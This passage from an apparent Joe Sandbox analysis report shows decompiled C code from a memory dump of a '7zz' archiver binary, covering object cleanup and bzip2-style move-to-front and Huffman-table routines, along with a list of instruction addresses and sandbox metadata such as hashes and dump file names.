									__eflags = _t578;
									if(_t578 != 0) {
										 *((intOrPtr*)( *_t578 + 8))(_t578);
									}
									_t579 =  *(_t959 - 0x1c);
									 *(_t959 - 4) = 4;
									__eflags = _t579;
									if(_t579 != 0) {
										 *((intOrPtr*)( *_t579 + 8))(_t579);
									}
									_t580 =  *(_t959 - 0x20);
									 *(_t959 - 4) = 3;
									__eflags = _t580;
									if(_t580 != 0) {
										 *((intOrPtr*)( *_t580 + 8))(_t580);
									}
									_t581 =  *(_t959 - 0x28);
									 *(_t959 - 4) = 2;
									__eflags = _t581;
									if(_t581 != 0) {
										 *((intOrPtr*)( *_t581 + 8))(_t581);
									}
									_t582 =  *(_t959 - 0x2c);
									 *(_t959 - 4) =  *(_t959 - 4) & 0x00000000;
									__eflags = _t582;
									L63:
									if(__eflags != 0) {
										 *((intOrPtr*)( *_t582 + 8))(_t582);
									}
									L202:
									_t538 = _t949;
									goto L41;
								}
								L49:
								_t696 =  *(_t959 + 0x14);
								 *(_t959 - 4) = 9;
								goto L50;
							}
						}
						 *(_t959 - 4) = 8;
						E00408604(_t959 - 0x84);
						 *(_t959 - 4) = 6;
						L0043361B(_t959 - 0x14);
						 *(_t959 - 4) = 5;
						L0043361B(_t959 - 0x18);
						 *(_t959 - 4) = 4;
						L0043361B(_t959 - 0x1c);
						 *(_t959 - 4) = 3;
						L0043361B(_t959 - 0x20);
						 *(_t959 - 4) = 2;
						L0043361B(_t959 - 0x28);
						_t533 = _t959 - 4;
						 *_t533 =  *(_t959 - 4) & 0x00000000;
						__eflags =  *_t533;
						L0043361B(_t959 - 0x2c);
						goto L205;
					} else {
						_t746 =  *(_t959 - 0x14);
						 *(_t959 - 4) = 6;
						__eflags = _t746;
						if(_t746 != 0) {
							 *((intOrPtr*)( *_t746 + 8))(_t746);
						}
						_t747 =  *(_t959 - 0x18);
						 *(_t959 - 4) = 5;
						__eflags = _t747;
						if(_t747 != 0) {
							 *((intOrPtr*)( *_t747 + 8))(_t747);
						}
						_t748 =  *(_t959 - 0x1c);
						 *(_t959 - 4) = 4;
						__eflags = _t748;
						if(_t748 != 0) {
							 *((intOrPtr*)( *_t748 + 8))(_t748);
						}
						_t749 =  *(_t959 - 0x20);
						 *(_t959 - 4) = 3;
						__eflags = _t749;
						if(_t749 != 0) {
							 *((intOrPtr*)( *_t749 + 8))(_t749);
						}
						_t750 =  *(_t959 - 0x28);
						 *(_t959 - 4) = 2;
						__eflags = _t750;
						if(_t750 != 0) {
							 *((intOrPtr*)( *_t750 + 8))(_t750);
						}
						_t751 =  *(_t959 - 0x2c);
						 *(_t959 - 4) =  *(_t959 - 4) & 0x00000000;
						__eflags = _t751;
						if(_t751 != 0) {
							 *((intOrPtr*)( *_t751 + 8))(_t751);
						}
						_t538 = 0x8007000e;
						L41:
						 *[fs:0x0] =  *((intOrPtr*)(_t959 - 0xc));
						return _t538;
					}
				}
			}

0x00434d2d
0x00434d3b
0x00434d41
0x00434d44
0x00434d47
0x00434d4f
0x00434d57
0x00434d57
0x00434d5d
0x004358f2
0x004358f2
0x00000000
0x00434d63
0x00434d66
0x00434d69
0x00434d6c
0x00434d73
0x00434d7c
0x00434d7e
0x00434d81
0x00434d84
0x00000000
0x00000000
0x00434d8a
0x00434d8f
0x00434d8f
0x00434d92
0x00434d9b
0x00434da9
0x00434db5
0x00434dbe
0x00434dc6
0x00434dc8
0x00434dcb
0x00434dcb
0x00434dd1
0x00434ddb
0x00434ddd
0x00434ddd
0x00434de2
0x00434de2
0x00434de5
0x00434de8
0x00434deb
0x00434df7
0x00434dfc
0x00434dfe
0x00434e01
0x00434e04
0x00434e0a
0x00434e16
0x00434e18
0x00434e1b
0x00434e1d
0x00434e21
0x00434e2c
0x00434e2c
0x00434e23
0x00434e28
0x00434e28
0x00434e2e
0x00434e32
0x00434e34
0x00434e3a
0x00434e3d
0x00434e42
0x00434e42
0x00434e45
0x00434e49
0x00434e4d
0x00434e52
0x00434e54
0x00434e59
0x00434e5c
0x00434e80
0x00434e80
0x00434e5e
0x00434e5e
0x00434e65
0x00434e68
0x00434e6b
0x00434e6e
0x00434e71
0x00434e77
0x00434e77
0x00434e82
0x00434e84
0x00434e87
0x00434e8c
0x00434e8c
0x00434e8f
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea1
0x00434ea4
0x00434ea6
0x00434eaa
0x00434eb0
0x00434eb3
0x00434eb5
0x00434eb9
0x00434ec6
0x00434ec6
0x00434ebb
0x00434ec2
0x00434ec2
0x00434ec8
0x00434eca
0x00434ecd
0x00434ed1
0x00434ed4
0x00434ed9
0x00434ed9
0x00434ede
0x00434ee2
0x00434ee7
0x00434ee9
0x00434f6f
0x00434f74
0x00434f7e
0x00434f82
0x00434f85
0x00434f85
0x00434f85
0x00434f88
0x00434f8b
0x00000000
0x00000000
0x00434f91
0x00434f95
0x00434fa1
0x00434f97
0x00434f97
0x00434f97
0x00434fa4
0x00434fa7
0x00434fb0
0x00434fb3
0x00434fbb
0x00434fc4
0x00434fc7
0x00434fcd
0x00434fd0
0x00434fd2
0x004350cd
0x004350d2
0x004350d4
0x004350d7
0x0043514f
0x00435158
0x0043515b
0x0043515e
0x00435163
0x00435163
0x00435166
0x00000000
0x00000000
0x00435170
0x00435175
0x00435175
0x00435182
0x0043518a
0x00435197
0x00435197
0x00435199
0x0043519b
0x0043519e
0x004351a1
0x004351a1
0x004351a4
0x004351a7
0x00000000
0x00000000
0x004351ad
0x004351b1
0x004351b6
0x004351b6
0x004351b9
0x004351c5
0x004351d3
0x004351d9
0x004351dc
0x004351df
0x0043522d
0x0043522d
0x00000000
0x004351e1
0x004351e5
0x004351ea
0x004351ed
0x00000000
0x00000000
0x00000000
0x00000000
0x004351ef
0x004351ef
0x004351f2
0x004351f5
0x00000000
0x00000000
0x004351ff
0x00435204
0x00435204
0x00435211
0x0043521c
0x00435223
0x00435223
0x00435225
0x00435227
0x0043522a
0x00000000
0x0043522a
0x004351df
0x00435235
0x0043523e
0x00435244
0x0043524d
0x00435256
0x0043525e
0x00435260
0x00435262
0x00000000
0x00000000
0x00435268
0x0043526a
0x0043526f
0x00435272
0x0043528c
0x0043528c
0x00435274
0x00435276
0x00435278
0x0043527b
0x0043527e
0x00435281
0x00435284
0x00435284
0x0043528e
0x00435290
0x00435293
0x00435298
0x00435298
0x004352a1
0x004352b6
0x004352d2
0x004352da
0x004352e4
0x004352e4
0x004352e7
0x00435414
0x0043541c
0x00435428
0x0043542d
0x00435430
0x00435435
0x00435439
0x00435439
0x00435439
0x0043543d
0x00435440
0x00435443
0x0043544c
0x0043544f
0x00435451
0x00000000
0x00000000
0x00435457
0x0043545d
0x00435460
0x00435807
0x0043580e
0x00435810
0x00435812
0x0043587e
0x00435884
0x0043588a
0x0043588e
0x00435891
0x00000000
0x00435891
0x00435814
0x00435817
0x0043581b
0x00435826
0x0043582a
0x00435832
0x00435836
0x0043583e
0x00435842
0x0043584a
0x0043584e
0x00435856
0x0043585a
0x00435862
0x00435866
0x0043586b
0x0043586b
0x0043586b
0x00435872
0x00000000
0x00435872
0x0043546b
0x00435472
0x0043547e
0x00435481
0x004354d6
0x004354d6
0x004354d9
0x004354e0
0x004354e3
0x004354f5
0x004354f8
0x004354fc
0x00435500
0x00435502
0x00435502
0x00435502
0x00435502
0x00435514
0x00435519
0x0043551c
0x0043551f
0x00000000
0x00435525
0x00435525
0x00435527
0x004355bc
0x004355c3
0x004355c7
0x004355cb
0x00000000
0x00000000
0x004355e0
0x004355e8
0x004355eb
0x004355f1
0x004355f2
0x004355f5
0x004355fb
0x00435604
0x00435609
0x0043560f
0x00435617
0x00435619
0x0043561b
0x004356a7
0x004356aa
0x004356aa
0x004356ad
0x004356b0
0x004356b3
0x004356b6
0x004356c0
0x004356c0
0x004356c5
0x004356c5
0x004356c7
0x004356ca
0x004356cd
0x004356cd
0x004356d5
0x004356d7
0x004356e5
0x004356ee
0x004356ee
0x004356f0
0x00435731
0x00435734
0x00435746
0x00435749
0x00435749
0x0043574c
0x004357db
0x00000000
0x004357db
0x00435752
0x00435756
0x00000000
0x00000000
0x0043575c
0x0043575f
0x00435763
0x00435765
0x0043576a
0x0043576a
0x00435773
0x00435777
0x0043577c
0x0043577f
0x00435783
0x00435785
0x0043578a
0x0043578a
0x0043578d
0x00435790
0x00435794
0x00435796
0x0043579b
0x0043579b
0x0043579e
0x004357a1
0x004357a5
0x004357a7
0x004357ac
0x004357ac
0x004357b2
0x004357b6
0x004357be
0x004357c2
0x004357c7
0x004357c7
0x004357c7
0x004357ce
0x004357d3
0x004357d3
0x00000000
0x004357d3
0x004356f2
0x004356f2
0x004356f3
0x00435726
0x0043572c
0x00000000
0x0043572c
0x004356f5
0x004356f5
0x004356f6
0x00435712
0x00435718
0x00000000
0x00435718
0x004356f8
0x004356f9
0x00000000
0x00000000
0x00435701
0x00435707
0x00000000
0x00435707
0x004356d9
0x004356df
0x004356df
0x004356e2
0x00000000
0x004356e2
0x004356db
0x004356dd
0x00000000
0x00000000
0x00000000
0x004356dd
0x004356b8
0x004356be
0x00000000
0x00000000
0x00000000
0x004356be
0x00435621
0x00435624
0x00435628
0x0043562a
0x0043562f
0x0043562f
0x00435638
0x0043563c
0x00435641
0x00435644
0x00435648
0x0043564a
0x0043564f
0x0043564f
0x00435652
0x00435655
0x00435659
0x0043565b
0x00435660
0x00435660
0x00435663
0x00435666
0x0043566a
0x0043566c
0x00435671
0x00435671
0x00435674
0x00435677
0x0043567b
0x0043567d
0x00435682
0x00435682
0x00435685
0x00435688
0x0043568c
0x0043568e
0x00435693
0x00435693
0x00435696
0x00435699
0x0043569d
0x00000000
0x0043569d
0x0043552d
0x00435530
0x00435534
0x00435536
0x0043553b
0x0043553b
0x00435544
0x00435548
0x0043554d
0x00435550
0x00435554
0x00435556
0x0043555b
0x0043555b
0x0043555e
0x00435561
0x00435565
0x00435567
0x0043556c
0x0043556c
0x0043556f
0x00435572
0x00435576
0x00435578
0x0043557d
0x0043557d
0x00435580
0x00435583
0x00435587
0x00435589
0x0043558e
0x0043558e
0x00435591
0x00435594
0x00435598
0x0043559a
0x0043559f
0x0043559f
0x004355a2
0x004355a5
0x004355a9
0x004355ab
0x004355b4
0x004355b4
0x00000000
0x004355ab
0x0043551f
0x004354e5
0x004354e8
0x004354ec
0x00000000
0x004354ec
0x00435483
0x0043548c
0x00435494
0x00435497
0x00435499
0x004354a1
0x004354a1
0x0043549b
0x0043549b
0x0043549b
0x004354ab
0x004354b0
0x004354bb
0x004354c4
0x004354c6
0x004354c8
0x00000000
0x00000000
0x00000000
0x00000000
0x004354c8
0x004357e4
0x004357e8
0x00000000
0x00000000
0x004357f1
0x004357f3
0x004357f5
0x00000000
0x00000000
0x00435800
0x00435803
0x00435805
0x00000000
0x00000000
0x00000000
0x004352ed
0x004352ed
0x004352ed
0x004352ee
0x004353d0
0x004353d7
0x004353d9
0x004353e4
0x004353e6
0x004353e9
0x004353eb
0x004353ef
0x004353f8
0x004353f8
0x004353f1
0x004353f1
0x004353f1
0x004353fe
0x00435402
0x00435408
0x00435408
0x00435410
0x00000000
0x00435410
0x004352f4
0x004352f4
0x004352f5
0x0043538a
0x0043538e
0x00435390
0x0043539b
0x0043539d
0x004353a0
0x004353a2
0x004353a6
0x004353af
0x004353af
0x004353a8
0x004353a8
0x004353a8
0x004353b5
0x004353b9
0x004353bc
0x004353bc
0x004353c8
0x00000000
0x004353c8
0x004352fb
0x004352fc
0x00435335
0x00435339
0x0043533b
0x00435346
0x00435348
0x0043534b
0x0043534d
0x00435351
0x0043535c
0x0043535c
0x00435353
0x00435355
0x00435355
0x00435362
0x00435366
0x00435369
0x00435369
0x0043537b
0x0043537d
0x0043537f
0x00000000
0x00435385
0x004354ca
0x004354ca
0x004354cd
0x00000000
0x004354cd
0x0043537f
0x00435305
0x00435307
0x00435309
0x00000000
0x00000000
0x00435312
0x00435316
0x00435316
0x00435316
0x0043531c
0x0043531f
0x00000000
0x0043531f
0x004352e7
0x004350db
0x004350e1
0x004350e4
0x004350e8
0x004350f4
0x004350fb
0x004350fd
0x004350ff
0x0043510e
0x0043510e
0x00435111
0x00000000
0x00435111
0x00435108
0x0043510a
0x0043510c
0x0043511a
0x0043511d
0x0043511f
0x00435124
0x00435127
0x00435127
0x00435127
0x00435127
0x00435133
0x00435135
0x00435138
0x0043513a
0x00000000
0x0043513a
0x00000000
0x00434fd8
0x00434fda
0x00434fe0
0x00434fe3
0x00434fe7
0x00434ff3
0x00434ffa
0x00434ffc
0x00434ffe
0x0043509a
0x0043509c
0x0043509e
0x00000000
0x00000000
0x004350a4
0x004350a7
0x004350a9
0x004350ae
0x004350b1
0x004350b1
0x004350b1
0x004350b1
0x004350bc
0x004350be
0x004350c1
0x004350c3
0x0043513e
0x0043513e
0x00435322
0x00435322
0x00435324
0x0043532d
0x0043532d
0x00000000
0x00435324
0x0043500b
0x0043500b
0x0043500d
0x00435012
0x00435012
0x00435015
0x0043501b
0x0043501f
0x00435024
0x00435027
0x0043502b
0x0043502d
0x00435032
0x00435032
0x00435035
0x00435038
0x0043503c
0x0043503e
0x00435043
0x00435043
0x00435046
0x00435049
0x0043504d
0x0043504f
0x00435054
0x00435054
0x00435057
0x0043505a
0x0043505e
0x00435060
0x00435065
0x00435065
0x00435068
0x0043506b
0x0043506f
0x00435071
0x00435076
0x00435076
0x00435079
0x0043507c
0x00435080
0x00435082
0x00435082
0x0043508b
0x0043508b
0x00435877
0x00435877
0x00000000
0x00435877
0x00435004
0x00435004
0x00435007
0x00000000
0x00435007
0x00434fd2
0x004358a1
0x004358a5
0x004358ad
0x004358b1
0x004358b9
0x004358bd
0x004358c5
0x004358c9
0x004358d1
0x004358d5
0x004358dd
0x004358e1
0x004358e6
0x004358e6
0x004358e6
0x004358ed
0x00000000
0x00434eeb
0x00434eeb
0x00434eee
0x00434ef2
0x00434ef4
0x00434ef9
0x00434ef9
0x00434efc
0x00434eff
0x00434f03
0x00434f05
0x00434f0a
0x00434f0a
0x00434f0d
0x00434f10
0x00434f14
0x00434f16
0x00434f1b
0x00434f1b
0x00434f1e
0x00434f21
0x00434f25
0x00434f27
0x00434f2c
0x00434f2c
0x00434f2f
0x00434f32
0x00434f36
0x00434f38
0x00434f3d
0x00434f3d
0x00434f40
0x00434f43
0x00434f47
0x00434f49
0x00434f4e
0x00434f4e
0x00434f51
0x00434f56
0x00434f5b
0x00434f64
0x00434f64
0x00434ee9

APIs

__EH_prolog.LIBCMT ref: 00434D2D

Part of subcall function 004358FF: __EH_prolog.LIBCMT ref: 00435904

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ff6d11e2a075c4c8cdabb938ba6ac4d5ac1eb2450b40cc4ec04bc51db8d714f4
Instruction ID: 4d673e12acc69f6e7e4ec967f927a2294ce107ae818d378fe87eae4aebf1c3ce
Opcode Fuzzy Hash: ff6d11e2a075c4c8cdabb938ba6ac4d5ac1eb2450b40cc4ec04bc51db8d714f4
Instruction Fuzzy Hash: 91926D70D00659DFDF14DFA8C594BAEBBB4BF48304F14409AE845AB382DB38AE45CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00448730 Relevance: 1.9, Strings: 1, Instructions: 670
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00448730(intOrPtr __ecx, void* __eflags) {
				void* _t321;
				unsigned int _t322;
				signed int _t331;
				signed char _t334;
				signed int _t335;
				intOrPtr* _t337;
				intOrPtr _t341;
				signed int _t342;
				signed int _t345;
				signed int _t346;
				void* _t347;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t361;
				intOrPtr* _t364;
				signed int _t368;
				char _t369;
				char _t370;
				signed int _t379;
				signed int _t382;
				signed int _t383;
				signed int* _t385;
				intOrPtr _t387;
				intOrPtr _t399;
				void* _t414;
				signed int _t417;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				void* _t429;
				char _t430;
				void* _t431;
				signed char _t433;
				intOrPtr _t444;
				signed int _t461;
				void* _t469;
				signed int* _t470;
				void* _t475;
				intOrPtr _t478;
				void* _t479;
				void* _t483;
				void* _t484;
				signed int _t498;
				signed int* _t499;
				signed char _t500;
				void* _t519;
				unsigned int _t525;
				char _t536;
				void* _t538;
				intOrPtr _t539;
				signed int* _t544;
				intOrPtr _t552;
				signed int _t565;
				signed char _t568;
				intOrPtr* _t572;
				signed int _t575;
				signed int _t576;
				intOrPtr _t585;
				intOrPtr _t586;
				signed int _t587;
				signed int _t588;
				void* _t589;
				void* _t591;
				void* _t592;
				void* _t593;
				unsigned int _t595;
				signed int _t596;
				intOrPtr _t598;
				void* _t599;
				unsigned int _t600;
				void* _t601;
				signed int _t604;
				signed int _t605;
				void* _t608;
				intOrPtr* _t609;
				intOrPtr _t610;
				void* _t611;
				intOrPtr* _t612;
				void* _t613;
				void* _t614;
				signed int _t616;
				intOrPtr _t627;
				signed int _t628;
				intOrPtr _t629;
				intOrPtr _t631;
				intOrPtr _t632;
				void* _t633;
				void* _t634;
				void* _t635;
				void* _t636;

				_t627 = __ecx;
				 *((intOrPtr*)(_t634 + 0x58)) = __ecx;
				E00448610(0);
				_t598 =  *((intOrPtr*)(_t634 + 0x680));
				_push(_t598);
				 *((intOrPtr*)( *((intOrPtr*)(__ecx + 0xc)) + E00459170( *((intOrPtr*)(__ecx + 0xc)),  *((intOrPtr*)(_t634 + 0x67c))) * 4)) = _t598;
				E00448580(__ecx, _t318, 0x18);
				 *((intOrPtr*)(_t634 + 0x60)) = 0;
				 *((intOrPtr*)(_t634 + 0x64)) = 0;
				_t414 = 0;
				 *((intOrPtr*)(_t634 + 0x68)) = 0;
				_t321 = memset(_t634 + 0x170, 0, 0x40 << 2);
				_t635 = _t634 + 0xc;
				 *((intOrPtr*)(_t635 + 0x6c)) = 0;
				if(_t598 > 0) {
					do {
						_t321 = _t321 + 1;
						 *((char*)(_t635 + 0x170)) = 1;
					} while (_t321 < _t598);
				}
				_t322 = 0;
				do {
					if( *((intOrPtr*)(_t635 + _t322 + 0x170)) != 0) {
						 *(_t635 + _t414 + 0x70) = _t322;
						_t414 = _t414 + 1;
						 *((char*)(_t635 + (_t322 >> 4) + 0x60)) = 1;
					}
					_t322 = _t322 + 1;
				} while (_t322 < 0x100);
				_t599 = 0;
				do {
					E00448610( *((intOrPtr*)(_t635 + _t599 + 0x60)));
					_t599 = _t599 + 1;
				} while (_t599 < 0x10);
				_t600 = 0;
				do {
					if( *((intOrPtr*)(_t635 + (_t600 >> 4) + 0x60)) != 0) {
						E00448610( *((intOrPtr*)(_t635 + _t600 + 0x170)));
					}
					_t600 = _t600 + 1;
				} while (_t600 < 0x100);
				 *((intOrPtr*)(_t635 + 0x3c)) =  *((intOrPtr*)(_t627 + 4));
				memset(_t635 + 0x270, 0, 0x102 << 2);
				_t636 = _t635 + 0xc;
				_t585 =  *((intOrPtr*)(_t636 + 0x3c));
				_t601 = 0;
				_t525 = 0;
				 *(_t636 + 0x38) = _t414 + 2;
				 *(_t636 + 0x1c) = 0;
				 *((intOrPtr*)(_t636 + 0x67c)) =  *((intOrPtr*)(_t636 + 0x67c)) - 1;
				 *((intOrPtr*)(_t636 + 0x20)) =  *((intOrPtr*)(_t627 + 0xc));
				do {
					_t461 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t636 + 0x20)))) +  *((intOrPtr*)(_t636 + 0x67c))));
					_t331 = 0;
					 *(_t636 + 0x17) = _t461;
					if( *(_t636 + 0x70) != _t461) {
						do {
							_t444 =  *((intOrPtr*)(_t636 + _t331 + 0x71));
							_t331 = _t331 + 1;
						} while (_t444 != _t461);
					}
					_t417 = _t331;
					 *(_t636 + 0x2c) = _t417;
					if(_t331 >= 8) {
						_t519 = _t636 + 0x70 - 1;
						do {
							 *((char*)(_t519 + _t331 + 1)) =  *((intOrPtr*)(_t519 + _t331));
							 *((char*)(_t519 + _t331)) =  *((intOrPtr*)(_t519 + _t331 - 1));
							 *((char*)(_t519 + _t331 - 1)) =  *((intOrPtr*)(_t519 + _t331 - 2));
							 *((char*)(_t519 + _t331 - 2)) =  *((intOrPtr*)(_t519 + _t331 - 3));
							 *((char*)(_t519 + _t331 - 3)) =  *((intOrPtr*)(_t519 + _t331 - 4));
							 *((char*)(_t519 + _t331 - 4)) =  *((intOrPtr*)(_t519 + _t331 - 5));
							 *((char*)(_t519 + _t331 - 5)) =  *((intOrPtr*)(_t519 + _t331 - 6));
							 *((char*)(_t519 + _t331 - 6)) =  *((intOrPtr*)(_t519 + _t331 - 7));
							_t331 = _t331 - 8;
						} while (_t331 >= 8);
						_t417 =  *(_t636 + 0x2c);
						_t461 =  *(_t636 + 0x17);
					}
					if(_t331 > 0) {
						do {
							 *((char*)(_t636 + _t331 + 0x70)) =  *((intOrPtr*)(_t636 + _t331 + 0x6f));
							_t331 = _t331 - 1;
						} while (_t331 > 0);
						_t417 =  *(_t636 + 0x2c);
					}
					 *(_t636 + 0x70) = _t461;
					if(_t417 != 0) {
						if(_t525 != 0) {
							do {
								_t576 = _t525 - 1;
								 *(_t601 + _t585) = _t576 & 0x00000001;
								_t601 = _t601 + 1;
								_t525 = _t576 >> 1;
								 *((intOrPtr*)(_t636 + 0x270 + (_t576 & 0x00000001) * 4)) =  *((intOrPtr*)(_t636 + 0x270 + (_t576 & 0x00000001) * 4)) + 1;
							} while (_t525 != 0);
						}
						if(_t417 < 0xfe) {
							 *(_t601 + _t585) = _t417 + 1;
						} else {
							 *(_t601 + _t585) = 0xff;
							_t601 = _t601 + 1;
							 *(_t601 + _t585) = _t417 + 2;
						}
						_t601 = _t601 + 1;
						 *((intOrPtr*)(_t636 + 0x274 + _t417 * 4)) =  *((intOrPtr*)(_t636 + 0x274 + _t417 * 4)) + 1;
					} else {
						_t525 = _t525 + 1;
					}
					_t334 =  *(_t636 + 0x1c) + 1;
					 *(_t636 + 0x1c) = _t334;
					 *((intOrPtr*)(_t636 + 0x20)) =  *((intOrPtr*)(_t636 + 0x20)) + 4;
				} while (_t334 <  *((intOrPtr*)(_t636 + 0x680)));
				if(_t525 != 0) {
					do {
						_t575 = _t525 - 1;
						 *(_t601 + _t585) = _t575 & 0x00000001;
						_t601 = _t601 + 1;
						_t525 = _t575 >> 1;
						 *((intOrPtr*)(_t636 + 0x270 + (_t575 & 0x00000001) * 4)) =  *((intOrPtr*)(_t636 + 0x270 + (_t575 & 0x00000001) * 4)) + 1;
					} while (_t525 != 0);
				}
				_t335 =  *(_t636 + 0x38);
				if(_t335 >= 0x100) {
					 *(_t601 + _t585) = 0xff;
					_t601 = _t601 + 1;
					 *(_t601 + _t585) = _t335;
				} else {
					 *(_t601 + _t585) = _t335 - 1;
				}
				 *((intOrPtr*)(_t636 + 0x26c + _t335 * 4)) =  *((intOrPtr*)(_t636 + 0x26c + _t335 * 4)) + 1;
				 *((intOrPtr*)(_t636 + 0x20)) = _t601 + 1;
				_t420 = 0;
				_t337 = _t636 + 0x270;
				_t469 = 0x102;
				do {
					_t586 =  *_t337;
					_t337 = _t337 + 4;
					_t420 = _t420 + _t586;
					_t469 = _t469 - 1;
				} while (_t469 != 0);
				_t470 =  *(_t627 + 0x10);
				_t587 = 2;
				 *(_t636 + 0x5c) = _t420;
				 *(_t636 + 0x48) = 2;
				 *((intOrPtr*)(_t636 + 0x50)) = 0xffffffff;
				 *(_t636 + 0x2c) = 2;
				_t604 = 8 +  *_t470 * 8 - _t470[1];
				 *(_t636 + 0x17) = _t470[2];
				_t138 = _t420 + 0x31; // 0x31
				 *(_t636 + 0x58) = _t604;
				 *(_t636 + 0x4c) = 0x51eb851f * _t138 >> 0x20 >> 4;
				while(1) {
					_t341 =  *((intOrPtr*)(_t627 + 0x8cdc));
					if(_t341 == 0) {
						goto L44;
					}
					 *_t470 = _t604 >> 3;
					_t470[1] = 8;
					_t499 =  *(_t627 + 0x10);
					_t499[1] = 8 - (_t604 & 0x00000007);
					_t499[2] =  *(_t636 + 0x17);
					if(_t587 > 6) {
						_t342 =  *(_t636 + 0x48);
						L51:
						 *(_t636 + 0x18) = _t342;
					} else {
						 *(_t636 + 0x18) = _t587;
					}
					L52:
					_t588 =  *(_t636 + 0x18);
					E00448580(_t627, _t588, 3);
					E00448580(_t627,  *(_t636 + 0x4c), 0xf);
					_t345 = _t420;
					_t421 = 0;
					 *(_t636 + 0x1c) = _t345;
					 *(_t636 + 0x10) = 0;
					 *((intOrPtr*)(_t636 + 0x24)) = _t627 + ((_t588 << 7) + _t588) * 2 - 0xee;
					do {
						_t475 = 0;
						_t346 = _t345 / _t588;
						_t605 = _t421;
						if(_t346 > 0) {
							_t572 = _t636 + 0x270 + _t421 * 4;
							do {
								_t631 =  *_t572;
								_t572 = _t572 + 4;
								_t475 = _t475 + _t631;
								_t605 = _t605 + 1;
							} while (_t475 < _t346);
						}
						_t173 = _t605 - 1; // 0x0
						_t628 = _t173;
						if(_t628 > _t421 && _t588 !=  *(_t636 + 0x18) && _t588 != 1 && ( *(_t636 + 0x10) & 0x00000001) == 1) {
							_t605 = _t628;
							_t475 = _t475 -  *((intOrPtr*)(_t636 + 0x270 + _t605 * 4));
						}
						_t629 =  *((intOrPtr*)(_t636 + 0x24));
						_t347 = 0;
						do {
							if(_t347 < _t421 || _t347 >= _t605) {
								_t536 = 1;
							} else {
								_t536 = 0;
							}
							 *((char*)(_t347 + _t629)) = _t536;
							_t347 = _t347 + 1;
						} while (_t347 <  *(_t636 + 0x38));
						_t421 = _t605;
						_t345 =  *(_t636 + 0x1c) - _t475;
						_t588 = _t588 - 1;
						 *(_t636 + 0x1c) = _t345;
						 *(_t636 + 0x10) =  *(_t636 + 0x10) + 1;
						 *((intOrPtr*)(_t636 + 0x24)) = _t629 - 0x102;
					} while (_t588 != 0);
					_t632 =  *((intOrPtr*)(_t636 + 0x54));
					 *(_t636 + 0x28) = 4;
					do {
						_t422 =  *(_t636 + 0x18);
						_t538 = 0;
						_t608 = _t632 + 0x620;
						do {
							_t589 = _t608;
							_t538 = _t538 + 1;
							_t608 = _t608 + 0x408;
							memset(_t589, 0, 0x102 << 2);
							_t636 = _t636 + 0xc;
						} while (_t538 < _t422);
						_t478 = 0;
						 *((intOrPtr*)(_t636 + 0x34)) = 0;
						 *(_t636 + 0x1c) = _t632 + 0x3680;
						do {
							_t539 =  *((intOrPtr*)(_t636 + 0x3c));
							_t591 = 0;
							_t609 = _t636 + 0x70;
							do {
								_t353 =  *((intOrPtr*)(_t478 + _t539));
								_t478 = _t478 + 1;
								if(0 >= 0xff) {
									_t353 = 0;
									_t478 = _t478 + 1;
								}
								 *_t609 = _t353;
								_t591 = _t591 + 1;
								_t609 = _t609 + 4;
							} while (_t591 < 0x32 && _t478 <  *((intOrPtr*)(_t636 + 0x20)));
							 *((intOrPtr*)(_t636 + 0x30)) = _t478;
							 *((intOrPtr*)(_t636 + 0x24)) = 0xffffffff;
							 *(_t636 + 0x10) = 0;
							_t633 = _t632 + 0x14;
							do {
								_t610 = 0;
								_t354 = 0;
								_t479 = _t636 + 0x70;
								do {
									_t479 = _t479 + 4;
									_t610 = _t610;
									_t354 = _t354 + 1;
								} while (_t354 < _t591);
								if(_t610 <  *((intOrPtr*)(_t636 + 0x24))) {
									 *((intOrPtr*)(_t636 + 0x24)) = _t610;
									 *( *(_t636 + 0x1c)) =  *(_t636 + 0x10);
								}
								_t356 =  *(_t636 + 0x10) + 1;
								_t633 = _t633 + 0x102;
								 *(_t636 + 0x10) = _t356;
							} while (_t356 <  *(_t636 + 0x18));
							_t632 =  *((intOrPtr*)(_t636 + 0x54));
							_t611 = _t632 + 0x5d6e388;
							 *((intOrPtr*)(_t636 + 0x34)) =  *((intOrPtr*)(_t636 + 0x34)) + 1;
							 *(_t636 + 0x1c) =  *(_t636 + 0x1c) + 1;
							_t483 = 0;
							_t544 = _t636 + 0x70;
							do {
								_t361 =  *_t544;
								_t544 =  &(_t544[1]);
								_t483 = _t483 + 1;
								 *((intOrPtr*)(_t611 + _t361 * 4)) =  *((intOrPtr*)(_t611 + _t361 * 4)) + 1;
							} while (_t483 < _t591);
							_t478 =  *((intOrPtr*)(_t636 + 0x30));
						} while (_t478 <  *((intOrPtr*)(_t636 + 0x20)));
						_t592 = 0;
						_t429 = _t632 + 0x14;
						_t612 = _t632 + 0x620;
						do {
							_t484 = 0;
							_t364 = _t612;
							do {
								if( *_t364 == 0) {
									 *_t364 = 1;
								}
								_t484 = _t484 + 1;
								_t364 = _t364 + 4;
							} while (_t484 <  *(_t636 + 0x38));
							_push(0x10);
							_push(0x102);
							_push(_t429);
							E00459960(_t612, _t612 + 0x1830);
							_t592 = _t592 + 1;
							_t429 = _t429 + 0x102;
							_t612 = _t612 + 0x408;
